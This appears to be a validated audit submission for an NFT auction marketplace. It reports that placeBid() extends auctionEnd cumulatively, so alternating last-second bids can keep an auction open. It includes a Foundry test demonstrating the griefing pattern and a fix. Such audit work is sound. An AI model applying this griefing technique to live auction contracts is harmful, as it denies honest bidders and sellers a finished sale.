Bid Beasts

First Flight #49
Beginner FriendlyFoundrySolidityNFT
100 EXP
View results
Submission Details
Severity: medium
Valid

Auction extension can be abused to indefinitely prolong auctions (griefing / denial-of-finish)


Impact
Denial-of-finish for auctions; wasted gas and refunds churn; potential stuck credits if refunds fail. (Severity: Medium–High)

Likelihood
Medium — trivial to trigger by a funded attacker or colluding accounts repeatedly bidding at last second.

Scope (affected files)

  • src/BidBeastsNFTMarket.sol (function: placeBid())


Description (Root + Impact)

Normal behaviour :
When a valid bid arrives within the extension window, the auction should be extended so late bids get a fair chance.

Issue:
The contract adds the extension onto the existing auctionEnd, allowing repeated last-second bids to increase auctionEnd unboundedly and prevent the auction from ever ending.

Root cause :
Solidity (excerpt from placeBid()):

// ... earlier code ...
if (timeLeft < S_AUCTION_EXTENSION_DURATION) {
@> listing.auctionEnd =
@> listing.auctionEnd +
@> S_AUCTION_EXTENSION_DURATION;
emit AuctionExtended(tokenId, listing.auctionEnd);
}

Why this matters :

  • Auction can be kept alive indefinitely (bad UX + DoS).

  • Repeated refunds and gas burn; economic griefing.

  • If refund push fails, attacker can bloat failedTransferCredits and cause stuck balances.


Risk

Reason 1: Any bidder who times bids near expiry can trigger extensions; attacker only needs funds and two or more addresses (or many wallets) to alternate and avoid Already highest bidder checks.

Reason 2: Refunds are performed on-chain via .call; if any refund fails, funds are credited and the attacker can exploit refund behavior to amplify disruption.

Impact:

  • Honest bidders and seller cannot finalize the auction → marketplace downtime for that listing.

  • Repeated on-chain operations cost gas for victims and network; potential reputational loss.


Proof of Concept

//Add this test to `BidBeastMarketPlaceTest.t.sol`
/// @notice Simulates a griefing attacker repeatedly bidding just before auction end
/// by alternating bids with another user, ensuring auctionEnd keeps extending.
function test_griefingAttack_extendsAuctionForever() public {
uint256 MIN_BID = 0.1 ether;
// Mint and list NFT with min price = MIN_BID
_mintNFT();
vm.startPrank(SELLER);
nft.approve(address(market), TOKEN_ID);
market.listNFT(TOKEN_ID, MIN_BID, 0);
vm.stopPrank();
// FIRST BID: BIDDER_1 enters
vm.startPrank(BIDDER_1);
market.placeBid{value: MIN_BID + 0.01 ether}(TOKEN_ID);
vm.stopPrank();
BidBeastsNFTMarket.Listing memory listingBefore = market.getListing(
TOKEN_ID
);
uint256 initialEnd = listingBefore.auctionEnd;
// Warm-up: advance half the auction
vm.warp(block.timestamp + (initialEnd - block.timestamp) / 2);
// Alternate attacker and honest bidder for griefing
for (uint256 i = 0; i < 3; ++i) {
// Attacker (BIDDER_2) bids at the last second
vm.warp(listingBefore.auctionEnd - 1);
uint256 attackerBid = (market.getHighestBid(TOKEN_ID).amount *
120) / 100; // +20%
vm.startPrank(BIDDER_2);
market.placeBid{value: attackerBid}(TOKEN_ID);
vm.stopPrank();
// Honest bidder (BIDDER_1) bids slightly higher
vm.warp(listingBefore.auctionEnd - 1); // again close to end
uint256 honestBid = (attackerBid * 120) / 100;
vm.startPrank(BIDDER_1);
market.placeBid{value: honestBid}(TOKEN_ID);
vm.stopPrank();
// Fetch new auctionEnd
BidBeastsNFTMarket.Listing memory listingNow = market.getListing(
TOKEN_ID
);
assertTrue(
listingNow.auctionEnd > block.timestamp,
"Auction should be extended"
);
listingBefore.auctionEnd = listingNow.auctionEnd;
}
// Final check: last bidder is BIDDER_1 (honest), attacker forced repeated extensions
BidBeastsNFTMarket.Bid memory highest = market.getHighestBid(TOKEN_ID);
assertEq(
highest.bidder,
BIDDER_1,
"Final highest bidder should be BIDDER_1"
);
}

Recommended Mitigation:

--- a/src/BidBeastsNFTMarket.sol
+++ b/src/BidBeastsNFTMarket.sol
@@
- if (timeLeft < S_AUCTION_EXTENSION_DURATION) {
- listing.auctionEnd =
- listing.auctionEnd +
- S_AUCTION_EXTENSION_DURATION;
- emit AuctionExtended(tokenId, listing.auctionEnd);
- }
+ if (timeLeft < S_AUCTION_EXTENSION_DURATION) {
+ // Reset end relative to now to avoid unbounded growth.
+ listing.auctionEnd = block.timestamp + S_AUCTION_EXTENSION_DURATION;
+ emit AuctionExtended(tokenId, listing.auctionEnd);
+ }
Updates

Lead Judging Commences

cryptoghost Lead Judge about 1 month ago
Submission Judgement Published
Validated
Assigned finding tags:

BidBeast Marketplace: Auction Duration Miscalculation

BidBeast marketplace contains a flaw in its auction timing mechanism. This causes the contract to miscalculate the actual end time of an auction, resulting in auctions that either conclude prematurely or run longer than specified.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.